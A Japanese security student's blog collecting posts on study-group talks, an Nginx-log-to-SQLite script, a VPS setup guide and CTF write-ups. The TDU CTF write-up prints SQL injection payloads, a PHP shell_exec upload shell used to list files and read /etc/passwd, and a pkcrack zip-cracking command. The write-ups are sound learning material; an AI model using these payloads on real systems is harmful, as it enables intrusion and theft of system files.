sonickun.log

備忘録

セキュリティ・キャンプ 2015 講義資料まとめ

セキュキャンに行けなかった人がセキュキャンの資料のまとめをつくりました.
公開してくださって本当にありがとうございます!

www.ipa.go.jp

※ここにない資料があれば@y_hagまで教えてくださるととても嬉しいです.

#ssmjp で発表した―「進化するWebトラッキングの話」

2015/07/31に開催された#ssmjpにて,「進化するWebトラッキングの話」というタイトルで発表しました.
会場は品川のBIGLOBEのオフィスでした.

f:id:sonickun:20150811212209j:plain

2015年07月の#ssmjpまとめ | ssmjp Infomation

発表スライド

オフレコのスライドは省いてあります.ごめんなさい><

結構身近な話題だったので,shlideshareのほうがそこそこbuzzってました.やはりみんな関心があるんだなあと.

この勉強会では過去に一度発表させていただいたことがあったので,今回は比較的落ち着いて発表出来ました.少し残念だったのは,時間があまりなかったこともあり,発表を聞いた人から質問,意見,マサカリをあまりいただけなかったこと.まだまだWeb初心者なので,色々とフィードバックをいただけたらと思います.

twitter上の評価を見ていると,「今後はCookieに取って代わって,Browser Fingerprintがトラッキングの主流になるということなのか」というコメントがありましたが,けしてそうではないと思います.スライドにもあるように,RTBといった広告システム等で今後もCookieは使われ続けると思いますし,Browser Fingerprintはあくまでユーザーを識別するための"補助的な"情報という立ち位置になると思います.一方で,今後それ単体だけでユーザーを特定できるような最強のFingerprintが見つかってしまうかもしれません(ないとおもいますが).

Webトラッキングは新しい話題がどんどんでてきますし,対策もまだまだ十分と言えないので,研究してみるには面白い題材だと思います.

Nginxのアクセスログを自動でSQLiteに出力する

 先日Nginxを使ってWEBサーバを立ち上げたのだが,アクセスログを解析しやすいようにデータベースに突っ込みたかったので自分で実装してみた.sonickun.hatenablog.com

 Apacheのログなどをデータベースに出力するツールとしてfluentd等があるようだが,導入が面倒そうだったのと,自分で自由にカスタマイズしたかったという理由で今回はpythonで書いてみる.

Nginxのアクセスログ

 /etc/nginx/nginx.confによれば,Nginxのアクセスログのフォーマットは以下のようになっている.

log_format main    '$remote_addr - $remote_user [$time_local] "$request" '
                   '$status $body_bytes_sent "$http_referer"'
                   '"$http_user_agent" "$http_x_forwarded_for"';

 出力されたログの例は以下のとおり.

AA.BB.CC.DD - - [07/Apr/2015:03:36:34 +0000] "GET / HTTP/1.1" 
200 1913 "http://sonickun.hatenablog.com/" 
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36" "-"

 また,ログファイルは以下のように1日毎に分割され,gzipで圧縮して/var/log/nginx/下に保存される.

# ls /var/log/nginx/
access.log-20150405.gz 
access.log-20150406.gz 
access.log-20150407.gz 
access.log-20150408.gz 
access.log-20150409 

 

実装

 まずはログを格納するSQLiteデータベース(log.db)を/var/log/nginx/db/下に作成する.

CREATE TABLE log(
    ip,
    remotelog,
    remoteuser,
    date,
    time,
    method,
    url,
    status,
    byte,
    refer,
    agent,
    xforwarded
);

 次に,ログファイルを読み込んでデータベースに出力するプログラムを作成する.

parse.py
import sqlite3
import datetime
import gzip

def parse(log, db):
    try:
        f = gzip.open(log, "rb") # decompress gzip
        conn = sqlite3.connect(db)
        cursor = conn.cursor()

        for line in f:
            data = []
            a = line.split('"')
            line = line.split()
            #ip
            data.append(line[0])
            #remotelog
            data.append(line[1])
            #remoteuser
            data.append(line[2])
            #date (ex. "07/Apr/2015" -> "2015/04/07")
            date = datetime.datetime.strptime(line[3][1:line[3].index(":")],"%d/%b/%Y")
            data.append(date.strftime("%Y/%m/%d"))
            #time
            data.append(line[3][line[3].index(":") + 1:])
            #method
            data.append(a[1].split()[0])
            #url
            data.append(" ".join(a[1].split()[1:]))
            #status
            data.append(line[8]) 
            #byte
            data.append(line[9])
            #refer
            data.append(a[-6])
            #agent
            data.append(a[-4])
            #x forwarded for
            data.append(a[-2])
    
            try:
                cursor.execute( "insert into log values( ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", 
                    (data[0], data[1], data[2], data[3], 
                        data[4], data[5], data[6], data[7],
                        data[8], data[9], data[10], data[11]) )
            except Exception as e:
                print str(e)
        conn.commit()
        cursor.close()
        conn.close()
        f.close()
        print "Complete."
    except Exception as e:
        print str(e)

if __name__ == "__main__":
    # extract filename
    d = datetime.datetime.now()
    d = d - datetime.timedelta(days=1)
    d = d.strftime("%Y%m%d")

    log = "/var/log/nginx/access.log-" + d + ".gz"
    db = "/var/log/nginx/db/log.db"
    
    print log + " -> " + db,

    parse(log, db)

 ログファイルは収集した翌日の午前3時過ぎころに圧縮され保存されるようなので,このプログラムを毎日午前5時ころに実行するようにする.以下のようにparse.shを作成する.

parse.sh
#!/bash/sh
python parse.py

 これをcronを使って実行をスケジューリングする./etc/crontabを以下のように編集する.

/etc/crontab
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/

0 5 * * * root /var/log/nginx/src/parse.sh

 これにより,毎日午前5時にparse.shが実行される.

 

出力結果

 Nginxのログがデータベースに出力されているので,中身を確認してみる.

# sqlite3 log.db
sqlite> select * from log limit 5;
AA.BB.CC.DD|-|-|2015/04/07|03:36:34|GET|/ HTTP/1.1|200|1913|http://sonickun.hatenablog.com/|Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36|-
AA.BB.CC.DD|-|-|2015/04/07|03:36:34|GET|/css/vendor/fluidbox.min.css HTTP/1.1|200|346|http://sonickun.xyz/|Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36|-
AA.BB.CC.DD|-|-|2015/04/07|03:36:34|GET|/css/main.css HTTP/1.1|200|2753|http://sonickun.xyz/|Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36|-
AA.BB.CC.DD|-|-|2015/04/07|03:36:34|GET|/js/vendor/jquery.fluidbox.min.js HTTP/1.1|200|1526|http://sonickun.xyz/|Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36|-
AA.BB.CC.DD|-|-|2015/04/07|03:36:34|GET|/js/main.js HTTP/1.1|200|140|http://sonickun.xyz/|Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.101 Safari/537.36|-

 ログがデータベースに格納されている事がわかる.これで任意のSQL文を実行してさまざまな統計を行うことができるようになった.
 

 

VPSでWebサーバを構築した

 先日のTDUCTF in ConohaでConoha VPSのクーポン券を頂いたので,遊び半分,勉強目的半分でWebサーバ(sonickun.xyz)を構築してみた.

sonickun.xyz

f:id:sonickun:20150406202149p:plain

 とりあえず,自分のプロフィールページのようなものを作ってみた.ここまでの作業を備忘録的に書いていく.

Conoha VPS

今回VPSはConoha VPSを利用した.VPSの作成から管理まで,わかりやすいUIでとても簡単に行えた.www.conoha.jp
 今回のVPSのスペックは以下のとおり.

  • CPU: 2コア
  • メモリ: 1GB
  • HDD: 100GB
  • OS: CentOS 6.5 (64bit)

 これはConoha VPSの最小構成であり,お値段は月額930円とお手頃.

ユーザの設定

 最初にログインした時はrootになっているため,一般ユーザを作成する.ユーザ名は仮に"hoge"とする.

# adduser hoge
# passwd hoge

 また,visudoコマンドでsudoerを以下のように編集し,hogeがsudoを行えるようにする.

root   ALL=(ALL)   ALL
hoge   ALL=(ALL)   ALL

 

SSHの設定

 公開鍵認証でSSH接続を行えるように設定した.まずはssh-keygenで公開鍵と秘密鍵のペアを作成する.

# ssh-keygen -t rsa

 これにより,id_rsa(秘密鍵)とid_rsa.pub(公開鍵)のペアが生成される.サーバ側に公開鍵,クライアント側に秘密鍵を置くことにする.鍵の転送にはscpを使った.
 次に/etc/ssh/sshd_configを以下のように編集する.

# rootでのログインを禁止する
PermitRootLogin no
# 公開鍵認証の設定
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile  .ssh/id_rsa.pub
# パスワードでの認証を禁止する
PasswordAuthentication no

 最後にsshdを再起動する.

service sshd restart

 

ドメインの取得

 おなじみ「お名前ドットコム」を利用した.www.onamae.com
 今回ドメインとして"xyz"を選んだのは次の理由から.

  • セールで安くなってたから(1年で300円くらい)
  • どんな用途にも使えそうなドメインだから
  • 単純にカッコイイから.

 ドメインの登録が完了するとwhois情報の登録などは代行でやってもらえる.管理画面のDNSレコードの設定でVPSIPアドレスを登録し,Conoha側で逆引きの設定をしたら出来上がり.

参考

akb428.hatenablog.com

 

Webサーバ

Nginx

 WebサーバにはNginx(エンジンエックス)を使った.

 Nginxの特徴としては,リバースプロキシとして動作することがある.ロードバランサとしても使えるし,HTTPSにも対応しているためSSL/TLSアクセラレータとして使用することもできる.また,画像やHTMLテキストといった静的コンテンツもキャッシュすることが可能.
 Nginxのアクセス制御などのコンフィグは/etc/nginx/ngin.confに集約されており,簡潔に設定を行える.今回は,/etc/nginx/conf.d/server.confを作成し,このファイルを読み込ませるようにした.

/etc/nginx/conf.d/server.conf
server {
    listen       80;
    server_name  sonickun.xyz;

    location / {
	root	/var/www/html;
        index  index.html index.htm;
    }
}

これにより,sonickun.xyzにアクセスした時に/var/www/html以下のindex.htmlが表示されるという設定になる.

Bootstrap

 またWebフレームワークとして,Bootstrapを用いた.BootstrapはHTML5・CSS3・jQueryを使用したフレームワークであり,レスポンシブデザインにも対応している.また多彩なパッケージやテンプレートが存在し,デザインの能力があまりなくてもそこそこカッコイイサイトが作れる.getbootstrap.com

 「Bootstrap テンプレート」などで検索するといろいろ出てくるので,その中からシンプルで良さげなものを選んだ.

 これでほとんど雛形が完成してるので,あとは適当にHTMLを自分なりにアレンジするだけ.

 

所感と今後の予定

 Web初心者なのでサーバを構築しながらいくつも知見を得ることができてよかった.実際に自分で手を動かしたほうが理解が深まる.

 今後の予定としては

  • ファイアウォールの設定を見直す
  • CTF用のサイトを作る
  • パケットキャプチャしてパケットを愛でる

 などを考えている.

TDU CTF 2014 Satellite in ConoHa ― Write-up

 TDU CTF 2014 Satellite in ConoHaに参加した。結果は1000点くらい(覚えていない)で15位くらい(覚えていない)だった。上位の人達を見てみると、GEKI-YABAな人たちが名を連ねていた。

connpass.com

Write-up

EasySQLi Challenge

 SQLインジェクションの問題。Webサイトの入力フォームに"(ダブルクオート)などを入力するとSQLエラーが表示され、SQLiが可能であることがわかる。"or "1"="1を入力するとテーブルの情報がすべて表示されるが、フラグはない。フラグは別のテーブルにあると思い、" OR 1=1 UNION SELECT sql, 1 FROM sqlite_master;--を入力してスキーマ情報を抜き取る。

CREATE TABLE "ok_flag_is_here"(title varchar(48), body varchar(256))
CREATE TABLE flagTable(title varchar(48), body varchar(256))
CREATE TABLE questionTable(title varchar(48), body varchar(256))

 "ok_flag_is_here"とflagTableというテーブルがあるので、" OR 1=1 UNION SELECT title, body FROM "ok_flag_is_here";--" OR 1=1 UNION SELECT title, body FROM flagTable;--でフラグが2つ得られた。
 テーブルの中にURLがあり、そこに移動するとステージ2のページが現れる。こちらはMySQLであることがわかったので、" or "1"="1";#で3つ目のフラグが得られた。ただフラグの文字列は白塗りされており見つけくくなっていた。一応" UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES) ;#スキーマ情報を抜くことはできたがこの先にフラグはあったのだろうか。

Simple Uploder

 ウェブサイトからサーバへ任意のファイルがアップロードできるようになっている。phpファイルをアップロードすれば実行してくれるのかなーと思い、HelloWorldなプログラムを送ったらやはり実行された。つまりは任意のコードのが実行できるということなので、以下のようにls -lをするプログラムを送る。

<?php
    $command = 'ls -l';
    $output = shell_exec("{$command}  2>&1");
    print_r ($output);
?>

 すると、参加者がアップロードしたファイルの中に一つだけ更新日時の古いPNGファイルを見つけたので、これを表示させる。

<?php	
    $image_path = './dc3db649f63cc360174b2ea7e470ee40.png';
    header('Content-Type: image/jpeg');
    readfile($image_path);
?>

f:id:sonickun:20150329224613p:plain

 これで1つ目のフラグをゲット。さらに先ほどのプログラムを使ってcat /etc/passwdを実行したところ、passwdファイルの中に2つ目のフラグがあった。

SUPER ULTIMATE COOL SECURE NOTING SYSTEM

 adminのログイン画面でuserに"or "1"="1を入力するとログインができ、1つ目のフラグが得られる。2つ目のフラグはadminのパスワードとの事だったので、ブラインドSQLiかなと思ったところで断念。後で聞いた話によるとSearchのところからSQLiでパスワードが得られたらしい。

Developer! Developer! Developer!

 暗号化されたzipファイル(question.zip)が渡される。中にはflag.txt(1KB)とSteve_ballmer_2007_outdoors2.jpg(295KB)があることがわかったので、Steve_ballmer_2007_outdoors2.jpgが手に入れば既知平文攻撃ができるなと思った。ファイル名でググったらすぐ出てきたのでここからダウンロードする。既知平文攻撃にはpkcrackをつかう。pkcrackは32bit WindowsLinuxで動作するが、なぜかWindowsでは解凍できなかった。Linux上で以下のコマンドでフラグを得た。

$ pkcrack -C question.zip -c Steve_ballmer_2007_outdoors2.jpg -p Steve_ballmer_2007_outdoors2.jpg -d target.zip
$ unzip target.zip
$ cat flag.txt

Trip Picture

 20150223_Kyoto.jpgというJPEGファイルが渡される。stringsコマンドとgrepで"TDU"という文字を探したらフラグを見つけた。

読めない文字1

 BASE64な文字が渡された。文字を2回デコードしたところフラグが得られた。

unknown file

 3B14EA88FCDB58239928D829DD5182E23D866255というASCII textのファイルが渡される。Trip Pictureと同様stringsとgrepでフラグを見つけた。

柚子胡椒 Vol.1

 bluetooth.pcapというpcapファイルが渡される。bluetoothのパケットうわぁ…とおもったがstringsとgrepでフラグが得られたので結局中身を見ていない。

Evidence

 RawImageというイメージファイルが渡される。FTK Imagerでマウントして中身を見ると、"!oc.pdf"というPDFファイルを見つけたのでこれをエクスポートして開いたらフラグが得られた。

misc

 覚えてません ;)


所感

 初心者向け(?)のCTFなだけあって、たくさん問題が解けて楽しかった。確実に解かなければならない問題をしっかり解けたのは良かった。ただ得意なはずのNetwork問題で見たことがないパケットが出てきて解けなかったのは辛かった。いつものことながらbinary系の問題を敬遠してしまったので、後でしっかり解こうと思う。
 運営の皆様、ありがとうございました!

#ssmjp で発表した ―「ダークネットのはなし」

 
 "深淵を覗き込む時、深淵もまたこちら側を覗き込んでいるのだ。"
 

 2015年2月20日のssmjpという勉強会でダークネットについて発表させていただきました.(会場は品川のBIGLOBEのオフィス)

 「ダークネット」という,なんとも厨二くさいワードですが,れっきとしたネットワーク用語です.

 インターネットのダークサイドへようこそ...

 
会場で寄せられた質問は以下のとおり.

Q.IPアドレスがダークネットか否かを判断する方法はなにか
A.あらゆるリクエストパケットを投げてみて,なにも応答がなかったらダークネットと考える.
 
Q.ダークネットと経路なしの区別はなにか
A.ダークネットはパケットが「到達可能」なのに対して,経路なしはパケットが「到達不可能」なもの.到達不可能とはルータの先に経路情報がなくパケットが到達し得ない状態のこと.
 
Q.一時的にサーバーダウンして応答を返さないIPアドレスもダークネットに含まれるか
A.そういったIPアドレスもダークネットの定義に当てはまる.ダークネットの領域は日々変化するものと考えてよい.
 
Q.ダークネットのデータセットは公開されているのか
A.今回使用したNICTER Darknet DatasetはMWS(マルウェア対策研究人材育成ワークショップ)で大学等の研究者向けに提供されているものであり,一般に公開はされていない.データの解析はNICTが管理するVM上で行う.(参考:マルウェア対策研究人材育成ワークショップ 2014 (MWS2014)
 
Q.IPv6のダークネットにおいても同様にパケットは観測され,サイバー攻撃の傾向分析に役立つか
A.IPv6のダークネットでもパケットは観測されるとは思うが,IPv4のようにアドレス空間全体をスキャンしようと考える人はほとんどいないのではないかと思うので,その数は少なく,傾向分析は難しいのではないかと考えている.攻撃者としては,スキャンをする際はある程度ターゲットに当たりをつけてスキャンするはず.
 
 他にも「スキャンされにくいようなネットワーク構築を心がけるべき.セグメントは大きく分割しすぎない.」などのご意見も頂きました.議論に参加してくださった方々,本当にありがとうございました.
  

※DAEDALUSの解説,NTP/DNS amp 攻撃の解説,スキャンツールの解説等は口頭で済ませてしまったためスライドにはありません(また別の機会に).アップロード版の自己紹介スライドではなんとなく本名は伏せてあります.
 
 

発表についての感想

 ssmjpはこれまで2回ほど参加していて,今回初めて発表側に立たせていただきました.今回はいつもより学生が少なくほとんどが社会人のプロな方だったので若干緊張しました.とくに質疑応答の時は慌てずもっと落ち着いて答えられるようになりたいです(若干的はずれな回答もしてしまった気がして反省している).また,「ダークネットおもしろい!」という言葉をたくさん頂けたことは嬉しかったです.アウトプットはホント大事だなあと実感したので,今後も精進してまた何かしらの勉強会で発表できたらと思います.

 

関連記事


ダークネットの基礎知識 - sonickun.log

SECCON CTF 2014 決勝戦に出場した

 SECCON CTF 2014 決勝戦にチームm1z0r3(みぞれ)として出場してきました.結果は431点で24チーム中20位,日本チームでは10位でした.SECCON CTF 2014決勝戦・全国大会カンファレンス
SECCON CTF 2014 Finals Ranking

f:id:sonickun:20150209183918j:plain

 特別賞として,「Medical × Security Hackathon賞」を頂きました.3月に福島で行われるハッカソンに招待していただけるようです.
f:id:sonickun:20150209184210j:plain


 圧倒的実力不足を痛感しました.Writeupが書けない.

 個人的に取り組んだ問題について書いていこうと思います.問題サーバは全部で6台ありましたが,主にWEB系の問題を中心にに1,2,5,6に取り組みました.

サーバ 壱

 指定されたURLにアクセスするとユーザ登録とログインが出来るようになっている.
f:id:sonickun:20150209222627p:plain
 ログインすると以下の画面が開く.各チームごとにUser NameやURLに使えない文字のブラックリストが作れるようになっている.
f:id:sonickun:20150209223639p:plain
 このサーバでは登録したユーザ数が最も多いチームにDefenseポイントが入るようになっている.ただし短時間に連続して登録できないようになっており,さらにブラックリストもかいくぐらないといけないため工夫が必要.
 Attackポイントを取るにはページ下部にあるのSendフォームが狙い目のよう.ここで指定されたURLに管理者がアクセスしてくる.実際に手元(192.168.6.9)にWEBサービスを立ち上げ,http://192.168.6.9/を指定するとGETでアクセスしてくるがとくに管理者のセッション情報はない(クロスドメインの問題がある).HTTPヘッダのUser-Agentに"Admin's Browser"の文字を発見したのでこのUAでアクセスしたがなにも起きなかった.Sendの下にShow Passwordのフォームがあるので一旦管理者にここをアクセスさせてからごにょごにょ...といろいろ考えたがここで挫折.あとで聞いた話によるとXSSが可能だったらしい.

サーバ 弐

 以下のようなキャプチャ認証がある掲示板がある.
f:id:sonickun:20150209224203p:plain
 画面下には直近の投稿履歴が表示される.一定時間ごとにこの履歴欄に表示されているチームにDefenseポイントが入る.他のチームはこの投稿を並列処理で自動化してがっぽり点を稼いでいた(ほぼDDoS攻撃の状態だった).なお自動化の際にはキャプチャの画像を見る必要はなく,cookieの設定の脆弱性を突いて認証を突破することが可能らしい.うちのチームは自動化ができなかったのでなんとか脆弱性を突いてAttackポイントをば,と思っていたが,後で投稿数が最も多いチームがフラグを得ていたことを聞き,「なんだそれ」と言った.
 bodyではダブルクオート,"script","alert"などの文字がエスケープされたり,imgタグなどが埋め込めたりなど,とっても思わせぶりな挙動をしてくれたのにXSSは全く関係なかった.

サーバ 伍

 CGIが動いていて,最初の画面がこのような表示になる.
f:id:sonickun:20150209194312p:plain
 ここに自分のチームのDefense Keyを置くことでDefenseポイントが入るようになっている.後にKeyは/flags下にあることがわかった.直感的にいま流行りのShellshockの攻撃でコマンドインジェクションができるかなと思ったができなかった.
 次にこのWEBサーバーのIPアドレスが10.100.5.2なのだが,終端が1でなく2な時点で怪しい./24でネットワークスキャンを行ったら他にも10.100.5.102,10.100.5.202,10.100.5.252も動いてることがわかった.しかもそれぞれポートがごっそり開いていて更に怪しい.全てのサーバ,全ての空いてるポートに対してnetcatするスクリプトを書いて試したがHTTPの80番ポート以外は反応はなし.ほかにもApache脆弱性を調べたりURLをごにょごにょしてみたが何も見つけられずここで頓挫.
 以下,終了後に聞いた話だが,まず/key.txtに一つ目のAttackポイントのフラグがあったらしく,「なんだそれ」と言った.こういう問題が今後の大会でも出るのかなと思うと少しつらい.ところがチームdodododoのakiymさんはこういうCTFでありがちなURLを試行するスクリプトを用意して見つけたらしく,プロは違うなと思った.ほかには/cmd.sh/svn/flagsが存在したらしく,Defense Keyが送信可能だったらしい(参考:SECCON 2014 全国大会に出た - misodengakuのブログ).これを解いたチームはほとんどいなかった模様.

追記(2015/02/16)

 他の人のWriteupを見て,実はこの問題はガッツリNetworkな問題だということがわかった.じつは5つ目のサーバが存在し,パケットをよく監視しているとそれに気づくことができるという./key.txtの存在もその流れで知ることができる.こういうことに気づけないようではパケリストとしてまだまだだなあとおもう.
 問題の詳細についてはもりたこさんのブログを参照されたい

 

サーバ 六

 暗号の問題.平文と暗号文の対応を見て暗号化のアルゴリズムを読み解き,Keyとなる暗号文を解読する.問題は全部で4問ある.1~3問目までは素直な問題だったらしく,チームの先輩がすぐに解いてくれた.4問目はかなりの難問で,自分も加わって協力して解いた.
 暗号文は以下のとおり.

AAAAgBX7KsK03QWS3Leud1FmWe5LyodjFstpL6Eo1JFKpioWItFrXBdrv6Vrf9ZwOK3TmBqriKkisDVXD/E45TcNOQUwNumw8L8pNiO4vLfxzsz6FYGDMB25IvYwO2ZI6qzbhOMi4dfSGkQfd8h5YAB

 平文と暗号文の対応のサンプルは以下のとおり.

ede     AAAAA1lsiAB
edb	AAAAA1iWSy8AA
dbac	AAAABCw2JY7JpAB

 まず,暗号文に使われる文字は大文字,小文字のアルファベットに加え,"_"と"/"の全部で64種類であることがわかった.これはBASE64と同じで,全ての文字を6bitで表現できるため,BASE64の変換表を用いて文字を全て2進数になおした.

ede    000000000000000000000000000000110101100101101100100010000000000001
edb    000000000000000000000000000000110101100010010110010010110010111100000000000000
dbac   000000000000000000000000000001000010110000110110001001011000111011001001101001000000000001

 01に直すと前半分は文字列長を表す領域になっていて,中盤部分は出現する文字をASCII変換したものが出現頻度順に並んでいた.後半部分は文字の並びを表現しているようだったが,途中でハフマン符号っぽいことに気づいた.

 ところが平文を一つ一つ手作業で符号化していくと,文字の種類が多い時にハフマン木が思ったとおりにならない.ここでこの符号化はハフマン符号に似たシャノン符号ではないかと思ったらビンゴで,チームの先輩がコードを書いて復号してくれた.

 暗号文を複合した結果は以下のとおり.

Password_located_you_done_of_you_that_mailing_and_C/C_Japanese_I_university_of_fend_time_used_Free_Basic_at_get_take_in_debug_Li


所感

 自分の実力不足を痛感した大会だった.自分は端から比較的得意なWEB問題を担当するつもりだったが,点数に直結する貢献がまったくできなかった.また序盤にDefenseに取り組んだチームが大きくリードしたように思えたが,うちのチームは1日目にDefenseポイントがまったく取れず,2日目に追い上げるのが困難な状況となってしまった.戦略によってはもう少し点も取れたかも知れない.
 一方で,みんなで協力して議論しながら問題を解いたことは嬉しかったし楽しかった.とくに6番目の暗号のwriteupは簡単に書いたが,あれは徹夜して紙に起こした0と1の羅列をひたすら眺めてみんなで解いた問題だった.あの感覚を忘れず今後もCTFを続けていきたい.

 ちなみに私は来年度からのm1z0r3の次期代表を拝命したので,そういった面でも頑張って行きたい.